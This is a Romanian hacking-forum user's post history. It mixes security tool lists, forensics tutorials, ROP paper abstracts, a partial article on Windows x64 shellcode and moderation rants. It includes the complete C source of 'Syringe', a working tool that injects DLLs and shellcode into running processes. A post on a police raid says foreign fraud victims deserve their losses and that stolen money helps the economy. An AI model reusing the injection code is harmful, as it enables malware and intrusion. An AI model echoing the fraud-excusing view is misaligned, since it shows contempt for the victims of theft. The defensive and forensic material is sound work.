-
Posts
18750 -
Joined
-
Last visited
-
Days Won
723
Everything posted by Nytro
-
Web Application Analysis Contents 1 Backdoors 2 CMS Scanners 3 Database Assessment 3.1 MS-SQL 3.2 MYSQL 3.3 Oracle 3.4 SQL Injection Frameworks 4 Fingerprinting 5 Fuzzers 6 Proxies 7 Scanners 8 Security Training Environments and Programs 9 Testing Frameworks 10 Web Browser Assessment 11 Web Browser Plugins Backdoors XSS Shell CMS Scanners CMS Explorer OWASP Joomla Vulnerability Scanner Plecost-wordpress-fingerprinter WPScan Database Assessment MS-SQL DBPwAudit Metacoretex Mssqlfp MSSQLScan multiinjector Pblind SA Exploiter SQLbrute SQLiX SQLMap SQL Ninja MYSQL DBPwAudit Metacoretex MYSQLAudit MySploit Pblind SQLCheck SQLData SQLiX SQLMap Sqlsus UDF Oracle DBPwAudit Metacoretex Opquery Opwg Oscanner Ose Otnsctl Pblind SQLbrute SQLiX SQLMap SQL Injection Frameworks BSQL Hacker Fingerprinting Wafp Fuzzers FuzzDb OWASP ZAP PowerFuzzer Wfuzz Proxies Burpsuite Fiddler OWASP ZAP Paros Proxy ProxyStrike Ratproxy Webscarab Scanners CSRFTester Curl DFF Scanner DirBuster Grabber Grendel Scan Httprint Jmeter Lbd List Urls Mini Mysqlat0r Netsparker Community Edition Nikto OpenAcunetix OWASP ZAP SecuBat Skipfish SoapUI Swfintruder W3AF Wapiti WebRaider Webshag WMAT x5s Xsss Yokoso! Security Training Environments and Programs DVWA Jarlsberg Web Security Dojo Testing Frameworks Bizploit Sahi Websecurify Web Browser Assessment Beef Browser Fuzzer 3 (bf3) Browser Rider Web Browser Plugins Groundspeed X06D Sursa: Web Application Analysis - Security and Hacking Tools
-
- 1
-
-
Security researcher demonstrates Windows 8 bootkit By Tom Warren, on 25th Nov 11 2:47 pm Security researcher Peter Kleissner has created a Windows 8 bootkit that bypasses User Account Control (UAC). The bootkit, just 14KB in size, is believe to be the first proof-of-concept exploit code for Windows 8. The attack works on the current Windows 8 developer preview and allows a command prompt to run under the SYSTEM account after exploitation. User Account Control (UAC) is defeated as the technology does not prompt the end user. ZDNet reports that Kleissner has previously developed a proof-of-concept ‘bootkit’ called Stoned. His latest attempt at Windows 8 appears to follow in similar footsteps. It’s not clear from the video whether Kleissner has managed to port any of the Stoned Bootkit features to Windows 8. Microsoft has previously detailed its security improvements with Windows 8. Windows 8 will include an array of security features to better protect end users against a variety of online threats. Microsoft is beefing up its Windows Defender solution to include improved protection for a range of malware. Microsoft will deliver the same set of malware signatures via Windows Update. Defender will now include real-time detection and protection from malware using a file system filter. Defender will also interface with Microsoft’s secure boot technology in Windows 8. Windows PCs with UEFI-based secure boot will be able to take advantage of Microsoft’s Windows security to ensure firmware and firmware updates all remain secure. Microsoft is able to achieve this by loading only properly signed and validated code during boot. Microsoft has also improved its SmartScreen filtering for Windows 8 and Internet Explorer. Microsoft has extended its browser technology to Windows as a whole. Windows 8 will now protect end users by checking applications and URLs against reputation-based database. The technology appears to be working on existing solutions. Microsoft is also working with other security vendors to ensure their apps are also improved with Windows 8. Video: http://vimeo.com/32666961 Sursa: http://www.winrumors.com/security-researcher-demonstrates-windows-8-bootkit-video/
-
Mi-au cerut 2 persoane asa ceva si l-am uploadat: http://www.speedyshare.com/file/5g2fF/Selenity-CMS-v0.2.zip
-
Special pentru cei care au probleme cu DIICOT-ul: Liviu Guta - Stati mascatilor - YouTube
-
Quick Tip: Find Hidden Processes and Ports [ Linux / Unix / Windows ] by VIVEK GITE on NOVEMBER 24, 2011 Unhide is a little handy forensic tool to find hidden processes and TCP/UDP ports by rootkits / LKMs or by another hidden technique. This tools works under both Linux / Unix, and MS-Windows operating systems. From the man page: It detects hidden processes using three techniques: The proc technique consists of comparing /proc with the output of /bin/ps. The sys technique consists of comparing information gathered from /bin/ps with information gathered from system calls. The brute technique consists of bruteforcing the all process IDs. This technique is only available on Linux 2.6 kernels. Most rootkits use the power of the kernel to hide themselves, they are only visible from within the kernel. You can use unhide or tool such as rkhunter to scan for rootkits, backdoors and possible local exploits. How do I Install Unhide? It is recommended that you run this tool from read-only media. To install the same under Debian or Ubuntu Linux, enter: # apt-get install unhide Sample outputs: Reading package lists... Done Building dependency tree Reading state information... Done Suggested packages: rkhunter The following NEW packages will be installed: unhide 0 upgraded, 1 newly installed, 0 to remove and 6 not upgraded. Need to get 822 kB of archives. After this operation, 1,872 kB of additional disk space will be used. Get:1 http://ftp.us.debian.org/debian/ squeeze/main unhide amd64 20100201-1 [822 kB] Fetched 822 kB in 5s (162 kB/s) Selecting previously deselected package unhide. (Reading database ... 166644 files and directories currently installed.) Unpacking unhide (from .../unhide_20100201-1_amd64.deb) ... Processing triggers for man-db ... Setting up unhide (20100201-1) ... FreeBSD: Install unhide Type the following command to install the same using the port, enter: # cd /usr/ports/security/unhide/ # make install clean OR, you can install the same using the binary package, enter: # pkg_add -r unhide unhide-tcp is a forensic tool that identifies TCP/UDP ports that are listening but are not listed in /bin/netstat through brute forcing of all TCP/UDP ports available. How Do I Use This Tool? You can use it as follows: # unhide-posix proc # unhide-posix sys OR # unhide-linux26 proc # unhide-linux26 sys # unhide-linux26 brute Sample outputs: Unhide 20100201 http://www.security-projects.com/?Unhide [*]Searching for Hidden processes through kill(..,0) scanning [*]Searching for Hidden processes through comparison of results of system calls [*]Searching for Hidden processes through getpriority() scanning [*]Searching for Hidden processes through getpgid() scanning [*]Searching for Hidden processes through getsid() scanning [*]Searching for Hidden processes through sched_getaffinity() scanning [*]Searching for Hidden processes through sched_getparam() scanning [*]Searching for Hidden processes through sched_getscheduler() scanning [*]Searching for Hidden processes through sched_rr_get_interval() scanning [*]Searching for Hidden processes through sysinfo() scanning HIDDEN Processes Found: 1 (Fig.01: 1 hidden process found using the unhide-linux26 sys command) # unhide-tcp Sample outputs: Unhide 20100201 http://www.security-projects.com/?Unhide Starting TCP checking Starting UDP checking However, I found something interesting: # unhide-tcp Sample outputs: Unhide 20100201 http://www.security-projects.com/?Unhide Starting TCP checking Found Hidden port that not appears in netstat: 1048 Found Hidden port that not appears in netstat: 1049 Found Hidden port that not appears in netstat: 1050 Starting UDP checking The netstat -tulpn or ss commands displayed nothing about the hidden TCP ports # 1048, 1049, and 1050: # netstat -tulpn | grep 1048 # ss -lp # ss -l | grep 1048 See also: Unhide project. Sursa: Quick Tip: Find Hidden Processes and Ports [ Linux / Unix / Windows ]
-
Memory Forensics: Pull Process & Network Connections from a Memory Dump In the previous article, we learned how to pull passwords from a memory dump file. This time, we will cover viewing a process list and network connections out of captured memory files. Volatility’s “pslist” command can be used to view the processes that were running on a Windows system: volatility pslist -f memdumpfilename.raw –profile=Win7SP1x86 (Use double dashes in front of profile for some reason they are showing up as a single) From the output of the command, we see the physical memory location, process name and the PID number of all process that were running on the system. This helps deduce if something was running on the computer that should not have been and as you will see in a future article, allows you to view programs that may be running under the process. The next step is to view all network connections that were active from the memory dump: volatility netscan -f memdumpfilename.raw –profile=Win7SP1x86 (Use double dashes in front of profile) The data returned shows all network connections, including the process name, source and destination IP addresses – including ports. This is just a short snip of what was actually returned, the actual list is easily twice as long. This information helps the analyst see if there were any strange network connections active. Or can help the penetration tester gain valuable information about the network. The last command that we will look at this time is “bioskbd“. volatility bioskbd -f memdumpfilename.raw –profile=Win7SP1x86 (Use double dashes in front of profile) As you can see there is no data returned on this memory dump. But what does “bioskbd” actually do? This interesting command has the ability to pull passwords that are resident from the bios cache buffer. Though most newer systems (like the system that this memory dump was taken from) purge the bios keyboard buffer, many older ones did not. On an old system you might be able to retrieve BIOS boot passwords, or even the passwords for disk encryption systems. That’s it for this post, on the next Memory Forensics post, we will take a look at pulling malware samples off of a system infected with STUXNET! by D. Dieterle on November 8, 2011. Sursa: http://cyberarms.wordpress.com/2011/11/08/memory-forensics-pull-process-network-connections-from-memory-dump/
-
Toti cei care au avut o copilarie fericita au avut asa ceva. PS: Exista NES emulator si un site unde gasiti sute de jocuri ca Mario, Tank si multe altele. Cautati aici: Mario Bross, la Offtopic si cititi topicul.
-
Oricum, trashed, eu nu vad decat niste link-uri. Daca nu va obositi sa exploatati, nu va obositi nici sa postati.
-
Nu are rost. In cel mai rau caz o sa postez Selenity CMS, care e o versiune ceva mai "colorata". Dar e prost scris, nu e MVC si nu e scris OOP, cu clase, cum ar fi trebuit...
-
Eu zic sa va uitati la ultimele voastre topicuri si posturi si sa vedeti ce si cand ati postat ultima data in categoriile: Tutoriale engleza/video (ca la romana au inceput sa apara tutoriale de rahat) sau Programare. Uitati-va la ultimele voastre topicuri si posturi, prin ce categorii si cat de practice sunt, apoi invinuiti-i pe cei care inca nu au cont pentru ca nu se posteaza nimic util. Uitati-va la ultimele voastre topicuri si posturi, dati LogOut si obtineti VOI acordul unui membru de incredere (VIP de exemplu) de a activa pe raspunderea acestuia. Si ganditi-va la ce ati realizat in ultimul an. Nu faceti decat sa va bagati in toate discutiile, care de care mai penale, iar daca le inchidem sariti de cur in sus. Toti va plangeti ca e offtopic, dar daca primiti warn pentru asa ceva nu va convine. Va vaitati ca nu se posteaza nimic interesant dar nu va ganditi ca voi nu ati postat ceva interesant de ani. Si cel mai rau, ca acum, cand cititi acest post, nici de-ai dracu nu va simtiti VOI in aceasta situatie si considerati tot ca e vina "celorlalti", ca sunt multi "prosti". Daca vreti sa se schimbe ceva, incepeti prin a va schimba voi. Topic inchis!
-
Desigur, Abramburica... :
-
Nu ma intelege gresit, nu am nimic impotriva faptului ca vor sa isi faca un viitor. Sincer, si eu vreau sa isi faca un viitor, dar NU asa. In primul rand pentru ca asta nu e un viitor. Am cunoscut si cunosc persoane care se ocupa cu tot felul de prostii si am avut de mii de ori sansa sa ma implic in astfel de prostii, dar nu am facut-o din mai multe motive: 1. E vorba de bani, deci practic sunt multe legi impotriva lor, adica mari sanse sa ajuga la puscarie, deci ce fac ei nu e nici etic si nici legal 2. Ei nu stiu mare lucru despre calculatoare. Si nu zic ca sunt prosti, pentru ca nu sunt deloc, dar nu am intalnit nicio persoana care macar sa stie decent programare, pana si pagini de scam cu mail-ul ca <input type="hidden" /> am vazut, ceea ce NU e ok. 3. Nici macar limba engleza nu prea o cunosc, stiu ca mai ajutam eu anumite persoane cu traduceri in engleza Morala: "La munca, nu la intins mana"
-
Da, pe de-o parte fac ceva (foarte) putin util, pe de alta parte tot niste hoti sunt si aduc prejudicii morale Romaniei, iar Romania ca tara are multe de pierdut. Da, practic nu vad cate dovezi ar putea sa aduca, dar tot mai gasesc ei cate ceva. Eu pur si simplu i-as intreba: "Prietene, de unde ai avut 30.000 de euro pentru un BMW cand tac-tu castiga 1500 RON pe luna si tu esti somer?". Apoi le verifica harddiskurile, citesc si conversatiile pe messenger pentru ca sunt sigur ca gasesc ceva asa si in cel mai rau caz fac si "reverse route" a drumului banilor.
-
Daca tot sunteti de acord, inseama ca va putem bana conturile curente iar voi puteti face rost, voi stiti cum, de o "invitatie" pentru a va putea inregistra. Asa ar fi corect.
-
Syringe - DLL & Code Injection Utility /* * * syringe.c v1.2 * * Author: Spencer McIntyre (Steiner) <smcintyre [at] securestate [dot] com> * * A General Purpose DLL & Code Injection Utility * * Copyright 2011 SecureState * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, * MA 02110-1301, USA. * */ #include <windows.h> #include <stdio.h> #include <tlhelp32.h> #define MAXLINE 512 #define CREATE_THREAD_ACCESS (PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ) #define REMOTE_ASSEMBLY_STUB_LENGTH_RELEASE 32 #define ATTACK_TYPE_DLL_INJECTION 1 #define ATTACK_TYPE_SHELL_CODE_INJECTION 2 #define ATTACK_TYPE_EXECUTE_SHELL_CODE 3 int InjectDLL(char *dll, int ProcessID); int InjectShellcode(char *data, int ProcessID); int ExecuteShellcode(char *data); DWORD WINAPI RemoteExecPayloadStub(LPVOID lpParameter); DWORD WINAPI LocalExecPayloadStub(LPVOID lpParameter); int main(int argc, char* argv[]) { char dllPath[MAXLINE] = ""; unsigned int pid = 0; unsigned int injResult; unsigned char attackType = 0; unsigned char numargs = 4; char *usageString = "Syringe v1.2\nA General Purpose DLL & Code Injection Utility\n\nUsage:\n\nInject DLL:\n\tsyringe.exe -1 [ dll ] [ pid ]\n\nInject Shellcode:\n\tsyringe.exe -2 [ shellcode ] [ pid ]\n\nExecute Shellcode:\n\tsyringe.exe -3 [ shellcode ]\n"; if (argc < 2) { printf("%s", usageString); return 0; } if (strncmp(argv[1], "-1", 2) == 0) { attackType = ATTACK_TYPE_DLL_INJECTION; } else if (strncmp(argv[1], "-2", 2) == 0) { attackType = ATTACK_TYPE_SHELL_CODE_INJECTION; } else if (strncmp(argv[1], "-3", 2) == 0) { attackType = ATTACK_TYPE_EXECUTE_SHELL_CODE; numargs = 3; } else { printf("%s", usageString); return 0; } if (argc != numargs) { printf("%s", usageString); return 0; } if ((attackType == ATTACK_TYPE_DLL_INJECTION) || (attackType == ATTACK_TYPE_SHELL_CODE_INJECTION)) { pid = atoi(argv[3]); if (!pid) { printf("Invalid Process ID.\n"); return 0; } if (attackType == ATTACK_TYPE_DLL_INJECTION) { GetFullPathNameA(argv[2], MAXLINE, dllPath, NULL); injResult = InjectDLL(dllPath, pid); } else if (attackType == ATTACK_TYPE_SHELL_CODE_INJECTION) { injResult = InjectShellcode(argv[2], pid); } if (injResult == 0) { printf("Successfully Injected.\n"); } else { printf("Failed To Inject. \nError: "); switch (injResult) { case 1: { printf("Invalid Process ID.\n"); break; } case 2: { printf("Could Not Open A Handle To The Process.\n"); break; } case 3: { printf("Could Not Get The Address Of LoadLibraryA.\n"); break; } case 4: { printf("Could Not Allocate Memory In Remote Process.\n"); break; } case 5: { printf("Could Not Write To Remote Process.\n"); break; } case 6: { printf("Could Not Start The Remote Thread.\n"); break; } } } } else if (attackType == ATTACK_TYPE_EXECUTE_SHELL_CODE) { ExecuteShellcode(argv[2]); } return 0; } int InjectDLL(char *dll, int ProcessID) { HANDLE Proc, RemoteThread; LPVOID RemoteStringPtr, LoadLibAddr; int writeProcError; if(!ProcessID) { return 1; } Proc = OpenProcess(CREATE_THREAD_ACCESS, FALSE, ProcessID); if(!Proc) { return 2; } LoadLibAddr = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA"); if (LoadLibAddr == NULL) { return 3; } RemoteStringPtr = (LPVOID)VirtualAllocEx(Proc, NULL, strlen(dll), MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE); if (RemoteStringPtr == NULL) { return 4; } writeProcError = WriteProcessMemory(Proc, (LPVOID)RemoteStringPtr, dll, strlen(dll), NULL); if (writeProcError == 0) { return 5; } RemoteThread = CreateRemoteThread(Proc, NULL, NULL, (LPTHREAD_START_ROUTINE)LoadLibAddr, (LPVOID)RemoteStringPtr, NULL, NULL); if (RemoteThread == NULL) { return 6; } CloseHandle(Proc); return 0; } int InjectShellcode(char *data, int ProcessID) { HANDLE Proc, RemoteThread; void *RemoteStringPtr; void *RemoteStubPtr; int writeProcError; unsigned long oldprot; // Step 1, get a handle to a process if(!ProcessID) { return 1; } Proc = OpenProcess(CREATE_THREAD_ACCESS, FALSE, ProcessID); if(!Proc) { return 2; } // Step 2, write the shellcode to the remote process RemoteStringPtr = VirtualAllocEx(Proc, NULL, (strlen(data) + 1), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (RemoteStringPtr == NULL) { return 4; } writeProcError = WriteProcessMemory(Proc, RemoteStringPtr, data, strlen(data), NULL); if (writeProcError == 0) { return 5; } // Step 3, write the assembly stub that will call the shellcode in the remote process RemoteStubPtr = VirtualAllocEx(Proc, NULL, REMOTE_ASSEMBLY_STUB_LENGTH_RELEASE, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (RemoteStubPtr == NULL) { return 4; } VirtualProtect(RemoteExecPayloadStub, REMOTE_ASSEMBLY_STUB_LENGTH_RELEASE, PAGE_EXECUTE_READWRITE, &oldprot); writeProcError = WriteProcessMemory(Proc, RemoteStubPtr, RemoteExecPayloadStub, REMOTE_ASSEMBLY_STUB_LENGTH_RELEASE, NULL); if (writeProcError == 0) { return 5; } // Step 4, start the assembly stub in via a call to CreateRemoteThread() RemoteThread = CreateRemoteThread(Proc, NULL, NULL, (LPTHREAD_START_ROUTINE)RemoteStubPtr, (LPVOID)RemoteStringPtr, NULL, NULL); if (RemoteThread == NULL) { return 6; } CloseHandle(Proc); // Step 5, Profit. return 0; } int ExecuteShellcode(char *data) { HANDLE LocalThread; int tid; void *StringPtr; StringPtr = VirtualAlloc(NULL, (strlen(data) + 1), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE); strncpy(StringPtr, data, strlen(data)); LocalThread = CreateThread(NULL, 0, LocalExecPayloadStub, StringPtr, 0, &tid); printf("Waiting For Shellcode To Return... "); WaitForSingleObject(LocalThread, INFINITE); printf("Done.\n"); return 0; } DWORD WINAPI RemoteExecPayloadStub(LPVOID lpParameter) { __asm { mov eax, [lpParameter] call eax // Exit function is thread, don't mess this up push 0 call ExitThread } return 0; } DWORD WINAPI LocalExecPayloadStub(LPVOID lpParameter) { __try { __asm { mov eax, [lpParameter] call eax push 0 call ExitThread } } __except(EXCEPTION_EXECUTE_HANDLER) { } return 0; } Download: http://www.securestate.com/Documents/syringe.c
-
Mesaj la pornirea calculatorului (super tare) in XP
Nytro replied to kukoolcrivat's topic in Cosul de gunoi
Foarte interesant... pentru forumurile de Counter-Strike. Nu pentru RST. -
DIICOT, calare pe hackerii romani. Pechezitii in Sibiu, Cluj, Arad, Valcea si Bucuresti Written by securityportal.ro Tuesday, 22 November 2011 15:10 Mai multe perchezitii au loc, marti dimineata, in judetele Sibiu, Cluj, Arad, Valcea, precum si in Capitala, pentru destructurarea unei grupari specializate in fraude informatice, care a produs un prejudiciu estimat la 120.000 de euro. Potrivit procurorului-sef al DIICOT Sibiu, Danusia Boician, au loc perchezitii in judetele Sibiu, Cluj, Arad, Valcea, precum si in Capitala, fiind vizata o retea din care fac parte aproximativ 25 de persoane specializate in inselaciuni informatice, care isi racolau victimele dintre persoanele ce fac cumparaturi online. Scopul actiunii noastre a fost destramarea unui grup organizat constituit pentru savarsirea de fraude informatice. Modul de operare este deja clasic: licitatii fictive pe diferite site-uri de internet. Infractorii postau tot felul de bunuri la vanzare, bunuri pe care nu le detineau", a declarat Cristian Negru, cita de Mediafax. Conform sursei citate, suspectii, care au creat un prejudiciu estimat la 120.000 de euro, vor fi dusi pentru audieri la sediul DICOT Sibiu. Procurorii DIICOT Sibiu au stabilit ca 130 de cetateni straini au fost inselati de gruparea specializata in fraude informatice in cazul careia s-au facut perchezitii. Pana in prezent a fost stabilit un prejudiciu de 120.000 de euro, fiind vorba despre 130 de parti vatamate, toate din strainatate. Cristian Negru a precizat ca suspectii vindeau fictiv tot felul de produse, de la echipamente IT si telefoane mobile de ultima generatie pana la utilaje agricole si autoturisme. Infractorii trimiteau partilor vatamate doar imaginea unui produs si cereau fie un avans, fie toata suma inainte. In dosar sunt 24 de invinuiti, printre care si femei, audierile fiind in desfasurare, la ora transmiterii acestei stiri, la sediul DIICOT Sibiu. Potrivit sefului Serviciului de Combatere a Criminalitatii Informatice Alba Iulia, gruparea s-a constituit in 2011, prin fuzionarea a doua grupari mai vechi. "Liderii celor doua grupari au stabilit ca este mult mai rentabil sa lucreze impreuna, sa-si imprumute unii altora conturile bancare si sagetile controlate de ei. Au infiintat o societate comerciala si un site care avea ca obiect vanzarea de produse de curatenie si ofereau fictiv servicii de curatenie", a precizat Cristian Negru. Toti cei invinuiti au antecedente de fraude informatice, iar daca vor fi gasiti vinovati, risca o pedeapsa cu inchisoarea cuprinsa intre 10 si 20 de ani. Sursa: http://securityportal.ro/stiri/stiri-interne/819-diicot-calare-pe-hackerii-romani-pechezitii-in-sibiu-cluj-arad-valcea-si-bucuresti.html Parerile mele: 1. Felicitari DIICOT, sper sa scapam de toti "hackerii" acestia 2. Trist "securityportal" sa numeasca "hackeri" astfel de specimene, astfel de HOTI 3. Pe de-o parte le dau dreptate acestor "personaje", adica nu le fura portofelele, daca strainii sunt atat de ratati, merita sa pateasca asa ceva 4. Banii adusi in tara contribuie la economia tarii
-
Packed, Printable, and Polymorphic Return-Oriented Programming Kangjie Lu, Dabi Zou, Weiping Wen, Debin Gao School of Information Systems, Singapore Management University, Singapore fkjlu, zoudabi, dbgaog@smu.edu.sg School of Software and Microelectronics, Peking University, China weipingwen@ss.pku.edu.cn Abstract. Return-oriented programming (ROP) is an attack that has been shown to be able to circumvent W X protection. However, it was not clear if ROP can be made as powerful as non-ROP malicious code in other aspects, e.g., be packed to make static analysis dicult, be print- able to evade non-ASCII ltering, be polymorphic to evade signature- based detection, etc. Research in these potential advances in ROP is im- portant in designing counter-measures. In this paper, we show that ROP code could be packed, printable, and polymorphic. We demonstrate this by proposing a packer that produces printable and polymorphic ROP code. It works on virtually any unpacked ROP code and produces packed code that is self-contained. We implement our packer and demonstrate that it works on both Windows XP and Windows 7 platforms. keywords: Return-oriented programming, packer, printable shellcode, polymorphic malware Download: http://flyer.sis.smu.edu.sg/raid11.pdf
-
Security Mitigations for Return-Oriented Programming Attacks Piotr Bania Kryptos Logic Research www.kryptoslogic.com 2010 Abstract With the discovery of new exploit techniques, new protection mechanisms are needed as well. Mitigations like DEP (Data Execution Prevention) or ASLR (Address Space Layout Randomization) created a signi?cantly more di?cult environment for vulnerability exploitation. Attackers, however, have recently developed new exploitation methods which are capable of bypassing the operating system’s security protection mechanisms. In this paper we present a short summary of novel and known mitigation techniques against return-oriented programming (ROP) attacks. The techniques described in this article are related mostly to x86-32 processors and Microsoft Windows operating systems. Download: http://www.kryptoslogic.com/download/ROP_Whitepaper.pdf
-
Return-Oriented Rootkits: Bypassing Kernel Code Integrity Protection Mechanisms Ralf Hund Thorsten Holz Felix C. Freiling Laboratory for Dependable Distributed Systems University of Mannheim, Germany hund@uni-mannheim.de, fholz,freilingg@informatik.uni-mannheim.de Abstract Protecting the kernel of an operating system against attacks, especially injection of malicious code, is an important factor for implementing secure operating systems. Several kernel integrity protection mechanism were proposed recently that all have a particular shortcoming: They cannot protect against attacks in which the attacker re-uses existing code within the kernel to perform malicious computations. In this paper, we present the design and implementation of a system that fully automates the process of constructing instruction sequences that can be used by an attacker for malicious computations. We evaluate the system on different commodity operating systems and show the portability and universality of our approach. Finally, we describe the implementation of a practical attack that can bypass existing kernel integrity protection mechanisms. Download: http://www.usenix.org/event/sec09/tech/full_papers/hund.pdf
-
Windows x64 Shellcode January 11, 2011 Contents Introduction RIP-Relative Addressing API Lookup Overview API Lookup Demo The Code Building Testing Comments Mitigations Introduction Shellcode refers to a chunk of executable machine code (along with any associated data) which is executed after being injected into the memory of a process usually by means of a buffer-overflow type of security vulnerability. The term comes from the fact that in early exploits against Unix platforms, an attacker would typically execute code that would start a command shell listening on a TCP/IP port, to which the attacker could then connect and have full access to the system. For the common web-browser and application exploits on Windows today, the “shellcode” is more likely to download and execute another program than spawn a command shell, but the term remains. In general, shellcode can be thought of as any code that is capable of being executed from an arbitrary location in memory and without relying on services provided by the operating system loader as with traditional executables. Depending on the exploit, additional requirements for shellcode may include small size and avoiding certain byte patterns in the code. In any case, there are two tasks performed by the loader which shellcode must take care of itself: Getting the addresses of data elements (such as strings referenced by the code) Getting the addresses of system API functions used This article describes a shellcode implementation of the x64 assembly program from my Windows Assembly Languages article (refer to that article for general x64 assembly programming issues such as calling conventions and stack usage). As you’ll see, the main program code doesn’t look much different. Task #1 above actually turns out to be a non-issue on x64 platforms due to a new feature called RIP-relative addressing. Task #2 is what comprises the bulk of the effort. In fact, the code for looking up API functions is significantly larger and more complex than the main program itself. The only other difference between the vanilla and shellcode versions of x64 hello world is that the shellcode does not use a .data section, instead placing the strings in the .code section after main. This is because “sections” are a feature of the executable file format, whereas shellcode needs to be just a single block of code and data. RIP-Relative Addressing RIP refers to the instruction pointer register on x64, and RIP-relative addressing means that references to memory addresses being read or written can be encoded as offsets from the currently-executing instruction. This is not a completely new concept, as jmp and call instructions have always supported relative targets on x86, but the ability to read and write memory using relative addressing is new with x64. On x86, the labels referring to data variables would be replaced with actual hard-coded memory addresses when the program was assembled and linked, under the assumption that the program would be loaded at a specific base address. If at runtime the program needed to load at a different base address, the loader would perform relocation by updating all of those hard-coded addresses. Because shellcode needed to run from anywhere in memory, it needed to determine these addresses dynamically and typically used a trick where the call instruction would push the address just past itself onto the stack as the return address. This “return address” could then be popped off the stack to get a pointer to the string at runtime: call skip db ‘Hello world’, 0 skip: pop esi ;esi now points to ‘Hello world’ string On x64 we do not need this trick. RIP-relative addressing is not only supported but is in fact the default, so we can simply refer to strings using labels as with ordinary code and it Just Works API Lookup Overview Even the most trivial programs generally need to call various operating system API functions to perform some of type of input/output (I/O) – displaying things to the user, accessing files, making network connections, etc. On Windows these API functions are implemented in various system DLLs, and in standard application development these API functions can simply be referred to by name. When the program is compiled and linked, the linker puts information in the resulting executable indicating which functions from which DLLs are required. When the program is run, the loader ensures that the necessary DLLs are loaded and that the addresses of the called functions are resolved. Windows also provides another facility that can be used by applications to load additional DLLs and look up functions on demand: the LoadLibrary() and GetProcAddress() APIs in kernel32.dll. Not having the benefit of the loader, shellcode needs to use LoadLibrary() and GetProcAddress() for all API functions it uses. This unfortunately presents a Catch-22: How does the shellcode get the addresses of LoadLibrary() and GetProcAddress()? It turns out that an equivalent to GetProcAddress() can be implemented by traversing the data structures of a loaded DLL in memory. Also, kernel32.dll is always loaded in the address space of every process on Windows, so LoadLibrary() can be found there and used to load other DLLs. Developing shellcode using this technique requires a solid understanding of the Portable Executable (PE) file format used on Windows for EXE and DLL files, and the next section of this article assumes some familiarity. The following references and tools may be helpful: Matt Pietrek’s An In-Depth Look into the Win32 Portable Executable File Format: part1 and part2. Note that this only covers 32-bit and not 64-bit PE files, but the differences are very minor – mostly just widening some memory address fields to 64 bits The offical Microsoft Portable Executable and Common Object File Format Specification Daniel Pistelli’s CFF Explorer is a nice GUI tool for viewing and editing PE files, with 64-bit support The dumpbin utility included with Visual C++ (including Express Edition) – the most useful switches for our purposes are /headers and /exports Many of the PE data structures are documented in MSDN under ImageHlp Structures Definitions of the data structures can be found in winnt.h in the Include directory of the Windows SDK The dt command in WinDbg is able to display many of these structures API Lookup Demo This demonstration of how to find the address of a function in a loaded DLL can be followed by attaching WinDbg to any 64-bit process (I’m using notepad.exe). Note that the particular values seen here may be different on your system. First we’ll get the address of the Thread Environment Block (TEB), sometimes also referred to as the Thread Information Block (TIB). The TEB contains a large number of fields pertaining to the current thread, and on x64 the fields can be accessed as offsets from the GS segment register during program execution (the FS register was used on x86). In WinDbg, the pseudo register $teb contains the address of the TEB. 0:001> r $teb $teb=000007fffffdb000 0:001> dt _TEB @$teb ntdll!_TEB +0x000 NtTib : _NT_TIB +0x038 EnvironmentPointer : (null) +0x040 ClientId : _CLIENT_ID +0x050 ActiveRpcHandle : (null) +0x058 ThreadLocalStoragePointer : (null) +0x060 ProcessEnvironmentBlock : 0x000007ff`fffdd000 _PEB +0x068 LastErrorValue : 0 [...] The only field from the TEB we are interested in is the pointer to the Process Environment Block (PEB). Note that WinDbg also has a $peb pseudo-register, but in the shellcode implementation we will have to use the GS register to go through the TEB first. 0:001> dt _PEB 7ff`fffdd000 ntdll!_PEB +0x000 InheritedAddressSpace : 0 '' +0x001 ReadImageFileExecOptions : 0 '' +0x002 BeingDebugged : 0x1 '' +0x003 BitField : 0x8 '' +0x003 ImageUsesLargePages : 0y0 +0x003 IsProtectedProcess : 0y0 +0x003 IsLegacyProcess : 0y0 +0x003 IsImageDynamicallyRelocated : 0y1 +0x003 SkipPatchingUser32Forwarders : 0y0 +0x003 SpareBits : 0y000 +0x008 Mutant : 0xffffffff`ffffffff Void +0x010 ImageBaseAddress : 0x00000000`ff8b0000 Void +0x018 Ldr : 0x00000000`779a3640 _PEB_LDR_DATA [...] The PEB contains numerous fields with process-specific data and we are interested in the Ldr field at offset 0x18 which points to a structure of type PEB_LDR_DATA. 0:001> dt _PEB_LDR_DATA 779a3640 ntdll!_PEB_LDR_DATA +0x000 Length : 0x58 +0x004 Initialized : 0x1 '' +0x008 SsHandle : (null) +0x010 InLoadOrderModuleList: _LIST_ENTRY [ 0x00000000`00373040 - 0x39a3b0 ] +0x020 InMemoryOrderModuleList: _LIST_ENTRY [ 0x00000000`00373050 - 0x39a3c0 ] +0x030 InInitializationOrderModuleList: _LIST_ENTRY [ 0x00000000`00373150 - 0x39a3d0 ] +0x040 EntryInProgress : (null) +0x048 ShutdownInProgress : 0 '' +0x050 ShutdownThreadId : (null) The PEB_LDR_DATA structure contains three linked lists of loaded modules – InLoadOrderModuleList, InMemoryOrderModuleList, and InInitializationOrderModuleList. A module or image refers to any PE file in memory – the main program executable as well as any currently-loaded DLLs. All three lists contain the same elements just in a different order, with the one exception that InInitializationOrderModuleList only contains DLLs and excludes the main executable. The elements of these lists are of type LDR_DATA_TABLE_ENTRY, though you can’t tell from the previous output because they are only shown as LIST_ENTRY which is the generic linked list header datatype used throughout Windows. A LIST_ENTRY simply consists of a forward and back pointer for creating circular, doubly-linked lists. The address of the _LIST_ENTRY within the _PEB_LDR_DATA structure represents the list head. When traversing the circular list, arriving back at the list head is the way to know when complete. 